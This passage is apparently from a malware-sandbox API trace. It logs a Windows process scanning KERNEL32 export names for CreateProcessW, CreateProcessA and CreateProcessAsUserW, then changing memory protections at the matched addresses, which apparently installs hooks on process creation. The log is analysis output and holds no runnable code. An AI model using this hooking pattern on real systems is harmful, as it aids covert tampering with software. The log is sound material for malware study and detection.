(lpString1="CreateFiber", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessW") returned -1 [0064.373] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateProcessInternalA", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateProcessInternalW", lpString2="CreateProcessW") returned -1 [0064.374] lstrcmpA (lpString1="CreateProcessW", lpString2="CreateProcessW") returned 0 [0064.374] VirtualProtect (in: lpAddress=0x76a9fccc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fc9c | out: lpflOldProtect=0x26fc9c*=0x20) returned 1 [0064.374] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0064.374] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x2789890 [0064.374] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0064.374] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x2789890 | out: hHeap=0x2390000) returned 1 [0064.374] VirtualProtect (in: lpAddress=0x76ab0200, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x26fcd0 | out: lpflOldProtect=0x26fcd0*=0x20) returned 1 [0064.375] VirtualProtect (in: lpAddress=0x76ab0200, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x26fcd0 | out: lpflOldProtect=0x26fcd0*=0x40) returned 1 [0064.375] VirtualProtect (in: lpAddress=0x76a9fccc, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fc9c | out: lpflOldProtect=0x26fc9c*=0x40) returned 1 [0064.375] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc68, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc68, ReturnLength=0x0) returned 0x0 [0064.375] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0064.375] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x2789890 [0064.376] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessA") returned -1 [0064.376] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="Beep", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessA") returned -1 [0064.377] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessA") returned -1 [0064.378] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessA") returned -1 [0064.379] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessA") returned -1 [0064.380] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessA") returned -1 [0064.380] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessA") returned -1 [0064.380] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessA") returned -1 [0064.380] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessA") returned -1 [0064.380] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessA") returned -1 [0064.380] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessA") returned -1 [0064.380] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessA") returned -1 [0064.380] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessA") returned -1 [0064.380] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessA") returned -1 [0064.380] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessA") returned 0 [0064.380] VirtualProtect (in: lpAddress=0x76a9fcbc, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fc9c | out: lpflOldProtect=0x26fc9c*=0x20) returned 1 [0064.380] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0064.380] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27898c8 [0064.380] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0064.380] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27898c8 | out: hHeap=0x2390000) returned 1 [0064.380] VirtualProtect (in: lpAddress=0x76ab0205, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x26fcd0 | out: lpflOldProtect=0x26fcd0*=0x20) returned 1 [0064.380] VirtualProtect (in: lpAddress=0x76ab0205, dwSize=0x5, flNewProtect=0x20, lpflOldProtect=0x26fcd0 | out: lpflOldProtect=0x26fcd0*=0x40) returned 1 [0064.381] VirtualProtect (in: lpAddress=0x76a9fcbc, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x26fc9c | out: lpflOldProtect=0x26fc9c*=0x40) returned 1 [0064.382] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fc68, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fc68, ReturnLength=0x0) returned 0x0 [0064.382] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0064.382] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x27898c8 [0064.382] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessAsUserW") returned -1 [0064.382] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="Beep", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessAsUserW") returned -1 [0064.383] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessAsUserW") returned -1 [0064.384] lstrcmpA 